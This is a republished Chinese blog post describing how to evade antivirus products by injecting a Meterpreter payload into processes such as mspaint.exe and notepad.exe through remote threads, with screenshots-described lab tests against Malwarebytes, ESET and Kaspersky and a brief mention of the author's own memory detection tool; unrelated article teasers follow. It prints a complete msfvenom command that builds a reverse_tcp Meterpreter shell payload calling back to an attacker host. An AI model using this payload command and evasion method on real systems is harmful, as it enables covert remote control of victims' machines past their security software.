免杀新姿势:利用线程将恶意代码注入到内存中

本文讲的是免杀新姿势:利用线程将恶意代码注入到内存中

产生存放远程攻击线程的进程

在这篇文章中我不想一步一步解释我编写的C#代码,但是我会展示下它能够绕过杀毒软件,并且操作非常简单,而且实用。
首先说明一下:

1. 我是在三年前发现这个攻击方法的,当我在做免杀的时候我发现了很多都是以0x0地址开始的进程。在我的win7系统中这种恶意代码绕过了我的杀毒软件,只是在内存中可以找到,然后以系统权限运行。所以,当然是NSA干的咯!
2. 这并不意味着以0x0开始的进程都是进行恶意注入的。

就像刚才所说,我不会将我的”NativePayload_Tinjection.exe”代码分享出来,不过我会阐述下如何在C++,C#或者其他语言如何进行编写攻击poc。

下图中你可以看到当远程进程加载时发生了什么事情,他已经一步一步的展示出来。并且你可以使用C#或者其他语言提供的windowsAPI很简单的实现。

免杀新姿势:利用线程将恶意代码注入到内存中

上图中的”evil.dll”是我们通过msfvenom生成的攻击载荷,在kali linux中可以使用以下命令:

Msfvenom –platform windows –arch x86_64 -p windows/x64/meterpreter/reverse_tcp lhost=w.x.y.z -f c > payload.txt

下一步骤就是将生成的payload通过新的线程注入到另外一个新的进程中去连接远程主机。
我接下来会将我写的代码进行免杀测试,使用最新的杀毒软件。我采用的实验环境是“Win 8.1”,杀毒软件有:“Malwarebytes”、“ESET”、“Kaspersky”。接下来你可以看到,我是怎么简单绕过这三个杀毒软件。

实验一:测试Malwarebyte3.1.2 版本

通过注入线程,我们可以绕过杀软。在这个环境下,我的meterpreter payload通过TID为4268的线程注入到PID为2492的进程,名叫mspaint.exe中。

免杀新姿势:利用线程将恶意代码注入到内存中

就像你在上图看到,当产生meterpreter 会话进程之后会在受害机中产生mspaint.exe进程。同时也可以发现TID为4268的线程开始地址为0X0。如果你结束掉TID 4268的线程,那么meterpreter会话就会立马结束。

实验二:测试ESET-Nod3210.1.204.0版本

下图中你可以看到,ESET已经更新到了最近版本”20170516”,不过并没有什么用,我同样将meterpreter攻击载荷通过TID 3932线程注入到了PID为3168的notepad进程中。

免杀新姿势:利用线程将恶意代码注入到内存中

实验三:测试Kaspersky v17版本

同样,Kaspersky已经是最新版本v17.0.0.611,漏洞库为”20170516”。不过同样被绕过了。meterpreter通过TID 2932线程注入到了PID为1200进程中.

免杀新姿势:利用线程将恶意代码注入到内存中

实验3-1:Kaspersky internet security v17 漏洞库05182017版本

同样被绕过了,即使杀毒软件显示:您的电脑正在被保护。

免杀新姿势:利用线程将恶意代码注入到内存中

那么如何检测这种攻击呢?

我自己写了一个软件”Meterpreter_Payload_Detection.exe”,它会在内存识别meterpreter签名,进而发现后门,然后清除。
在下图中你可后门发现绕过ESET-Nod32杀毒软件之后,会被Meterpreter_Payload_Detection.exe拦截。所以个人感觉杀毒软件在内存扫描这一方面做的不是很完备。

免杀新姿势:利用线程将恶意代码注入到内存中

上图中,你可以在我软件的界面找到注入到内存的进程,即PID为2116的进程,以及TID为2820的线程。
红颜色字体展示了在内存中扫描签名,当然这也许不是最好的方法检测恶意软件,但是到现在为止,这个工具针对内存检测做的比现有的杀毒软件要好。




原文发布时间为:2017年5月19日
本文作者:xnianq
本文来自云栖社区合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。
原文链接

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/287855.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【经典回放】多种语言系列数据结构算法:希尔排序

【希尔排序原理】每隔sp(整数)个数即取数并判断大小,交换,先构造局部有序序列,直到sp为1,构造完整的有序序列。 给出一组数据,如下: 0 1 2 3

Java之解决散列表的冲突用开放定址法和链表法

1 问题 理想状态下,散列表就是一个包含关键字的固定大小的数组,通过使用散列函数,将关键字映射到数组的不同位置,哈希函数可以将关键字均匀的分散到数组的不同位置,不会出现两个关键字散列值相同(假设关键…

python 手把手教你基于搜索引擎实现文章查重

前言 文章抄袭在互联网中普遍存在,很多博主都收受其烦。近几年随着互联网的发展,抄袭等不道德行为在互联网上愈演愈烈,甚至复制、黏贴后发布标原创屡见不鲜,部分抄袭后的文章甚至标记了一些联系方式从而使读者获取源码等资料。这…

lru算法实现 redis_使用数组与双向链表实现一个简单的LRU算法

什么是LRU算法?redis大家都玩过吧,你们好奇redis内存数据存满之后会发生什么吗?抛出异常?禁止使用?还是删除数据?其实redis设计了一种内润淘汰机制。noeviction(默认策略):屏蔽写操作&#xff0…

【经典回放】多种语言系列数据结构算法:归并排序

目录 干货1:C#语言实现归并排序! 干货2:C语言实现归并排序! 干货1:C#语言实现归并排序! 一、算法 1、思想基础

Java对象和类

转自原文:http://www.yiibai.com/java/java_object_classes.html java是一种面向对象的语言。由于具有面向对象特性的语言,Java支持以下基本概念: 多态性继承封装抽象化类对象实例方法消息解析在本章中,我们将探讨类和对象这些概念…

bzoj3224 Tyvj 1728 普通平衡树题解--Treap

题面: Description您需要写一种数据结构(可参考题目标题),来维护一些数,其中需要提供以下操作: 1. 插入x数 2. 删除x数(若有多个相同的数,因只删除一个) 3. 查询x数的排名(若有多个相同的数&…

Blazor University (18)使用 RenderFragments 模板化组件 —— 创建 TabControl

原文链接:https://blazor-university.com/templating-components-with-renderfragements/creating-a-tabcontrol/创建一个 TabControl 组件源代码[1]接下来我们将创建一个 TabControl 组件。这将教您如何实现以下目标:将数据传递到 RenderFragment 以为其…

Java之GC机制

1 JVM基本结构 1)类加载器classLoader:在JVM启动时或者类运行时将需要的.class文件加载到内存中 2)内存区域(运行时数据区): 是在JVM运行的时候操作所分配的内存区 3)执行引擎:负…

ArcGIS实验教程——实验十八:叠置分析(Overlay Analysis)

ArcGIS实验视频教程合集:《ArcGIS实验教程从入门到精通》(附配套实验数据) 目 录 一、实验描述 二、实验内容 三、实验目的 四、实验数据

《零基础看得懂的C语言入门教程 》——(一)脱离学习误区

本节视频连接: https://www.bilibili.com/video/BV1Qv411t7ae 新手C语言学习有些误区你应该知道,这样学习起来事半功倍~一、前言 距离上一次编写C语言的教程是5年前了(2015年),由于自己是从初一时开始学习编程&#…

一套完整的导视设计案例_色彩导视艺术:乌克兰基辅语言学校导视设计案例

学校导视设计案例建筑师Emil Dervish为乌克兰基辅Underhub语言学校设计了色彩缤纷的导视系统,该设计灵感来源于伦敦地铁,他希望通过彩色线条的大胆应用来营造轻松而欢乐的氛围。让我们一起来看看这座由“彩虹”做导视的学校。彩虹导视设计跟着红色导视线…

C# 创建匿名管道

下面对匿名管道执行类似的操作。通过匿名管道,创建两个彼此通信的任务。为了给管道的创建发出信号,使用 ManualResetEventSlim 对象,与内存映射文件一样。在 Program 类的 Run 方法中,创建两个任务,调用 Reader 和 Wri…

内测投票

create table DiaoYanTiMu (  Ids int(10) auto_increment not null primary key(),//把所需要的都写上中间不需要符号隔开,设自增长列类型必须是int,主键的话必须不能为空not null, Title varchar(50) not null );/…

Android之通过Binder机制实现IPC和linux的传统IPC的对比分析

一、 Android的Binder机制实现IPC 这里bind机制实现实现IPC模型这里不具体分析,简单理解就是clint-server模型 涉及到4个模块client、server、serverManager、bind底层驱动。 serverManager的作用是将字符形式的Binder(Server创建了Binder实体)名字转化成Client中对该Bin…

Mysql 查询统计练习

2019独角兽企业重金招聘Python工程师标准>>> 1、建表 customers 顾客表 products 产品表 orders 订单表 -- 顾客表 CREATE TABLE customers (c_id INT NOT NULL AUTO_INCREMENT,lastname VARCHAR(255),firstname VARCHAR(255),address VARCHAR(255),birthday DATETI…

【经典回放】多种语言系列数据结构算法:堆排序

目录 一、堆排序算法分析 二、C#语言实现堆排序 三、C语言实现堆排序 一、堆排序算法分析

C++11模版元编程的应用

1.概述 关于C11模板元的基本用法和常用技巧,我在程序员2015年2月B《C11模版元编程》一文(后称前文)中已经做了详细地介绍,那么C11模版元编程用来解决什么实际问题呢,在实际工程中又该如何应用呢?本文将侧重…

《零基础看得懂的C语言入门教程 》——(二)C语言没那么难简单开发带你了解流程

一、学习目标 了解DevC集成开发环境了解集成开发环境了解HelloWorld程序了解HelloWorld程序的编写方法 目录 C语言真的很难吗?那是你没看这张图,化整为零轻松学习C语言。 第一篇:(一)脱离学习误区 第二篇&#xff1…

11选5下期算法_本周六周日【高二直播】辅导网课预告:通用技术电控二三极管、多用电表测量、数字逻辑电路、解析枚举递归算法,2022浙江选考技术...

01第19-21讲 2020年11月28日29日开课目录鲸学名师考点精讲系统提高高二共3阶段精品课夯实基础冲刺技术选考97-100分!11月28日【高二|提高|直播】高二精品直播课讲授:浙江选考技术科目第19讲 高二综合提高鲸学名师讲授高中通用技术:第19讲 电控…